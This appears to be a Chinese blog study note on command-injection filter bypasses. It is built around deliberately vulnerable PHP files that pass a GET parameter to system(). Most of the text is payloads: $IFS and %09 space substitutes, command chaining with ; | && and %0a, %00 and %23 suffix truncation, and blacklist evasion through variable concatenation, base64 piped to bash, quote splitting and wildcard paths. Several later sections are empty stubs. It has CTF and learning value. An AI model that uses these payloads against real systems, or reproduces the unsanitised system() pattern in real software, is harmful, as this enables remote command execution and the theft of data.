https://www.jianshu.com/p/5e505e3d8075
http://www.4hou.com/reverse/5643.html
cmd1.php
<?php
$cmd=$_GET['cmd'];
echo "执行的语句:";
echo $cmd;
echo "<br>执行结果:";
system($cmd);
?>
首先随便试试?cmd=ls,正常显示。
1 空格的过滤
1.1 $IFS
?cmd=cat$IFSkey
1.2 >或者<>
?cmd=cat>key ?cmd=cat<>key
1.3 %09(php环境下)
?cmd=cat%09key
2 多条命令执行,且有前缀
有时候会出现这种代码
cmd2.php
<?php
$cmd=$_GET['cmd'];
echo "执行的语句:";
$var='curl '.$cmd;
echo $var;
echo "<br>执行结果:";
system($var);
?>
可以把它理解为curl在线使用吧。?cmd=www.baidu.com,结果如下图
直接打ls等系统命令就会出错,因为执行的命令前边始终有个curl。
2.1 分号;
?cmd=www.baidu.com;ls 值得注意的是ls执行的内容会在网页最下边才能看到。
2.2 &,&&,|,||
这几个指令有区别,懒得写了,直接截图
2.3 换行符%0a(php环境)
这个怎么个用法呢,先看这条?cmd=%0als 发现是可以正常执行ls的,那么curl呢? 换行符让curl孤单的成为一条语句,ls成为一条孤独的语句,所以就绕过了curl后边加网址的限制。
3 存在后缀需要消除后边的影响
cmd3.php
<?php
$cmd=$_GET['cmd'];
echo "执行的语句:";
$var='curl www.'.$cmd.".com";
echo $var;
echo "<br>执行结果:";
//system($cmd);
system($var);
?>
这次把后边也堵上了,所以要用到类似于sql注入中#的截断作用的字符。
3.1 %00(需要php环境)
?cmd=;ls%00 正常执行ls,原来命令时ls.com,加入%00后,.com就没了
3.2 %20%23
?cmd=;ls%20%23
4. 黑名单绕过
4.1 拼接
?cmd=a=c;b=at;c=key;$a$b $c
4.2 base64编码
?cmd=ls ?cmd=echo "bHM="|base64 -d|bash
4.3 单双引号
?cmd=cat key ?cmd=ca""t k''ey
4.4 反斜杠
?cmd=cat key ?cmd=ca key
4.5 通配符* ?
一个?代表一个字符,*代表若干字符。 其实早就有通配符绕过英文数字的限制提权了。 ?cmd=/bin/cat key ?cmd=/???/??? ??? 我也不知道他到底执行的什么命令,不过肯定有/bin/cat key这一条 内容很多,最好是结合字母 /bi?/ca? ?ey
4.6 绕过ip中的.,虽然不知道有啥用,先记下来。
http://www.msxindl.com/tools/ip/ip_num.asp
4.7没看,顺手抄下来,看win下干嘛。。。
4.8 无回显,还没看,看到整理下来,顺便也学一下。
4.9 突破长度限制
5.构造字符 利用expr
这个其实是黑名单绕过的,但是我觉得很妙,就把它单独拿出来说了。
可以从文件中或者环境变量获取某些字符
可以用export查看一些环境变量,而$pwd这个第一个字符一定是/ expr substr $PWD 1 1(输出为) export可以查看变量 如果过滤了一下字符,可以冲这些变量中拼凑出来